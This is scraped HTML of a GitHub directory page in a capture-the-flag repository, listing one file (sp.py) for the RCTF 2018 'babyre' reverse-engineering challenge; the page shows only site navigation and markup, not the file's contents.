0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> acdwas </span> <span>/</span> ctf
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>5</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>25</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/acdwas/ctf/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":124655323,"originating_url":"https://github.com/acdwas/ctf/tree/master/2018/RCTF%202018/rev/babyre","user_id":null}}" data-hydro-click-hmac="007b5c674cff89e0c518fd6d045c7eabef1d3377e6d43af98bfd5311419e787b"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/acdwas/ctf/refs" cache-key="v0:1675583418.5812821" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YWNkd2FzL2N0Zg==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/acdwas/ctf/refs" cache-key="v0:1675583418.5812821" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YWNkd2FzL2N0Zg==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>RCTF 2018</span></span><span>/</span><span><span>rev</span></span><span>/</span>babyre<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>RCTF 2018</span></span><span>/</span><span><span>rev</span></span><span>/</span>babyre<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/acdwas/ctf/tree-commit/773a121b9ebe30e8693ecf86a6231f1037b7b0a0/2018/RCTF%202018/rev/babyre" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/acdwas/ctf/file-list/master/2018/RCTF%202018/rev/babyre"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sp.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
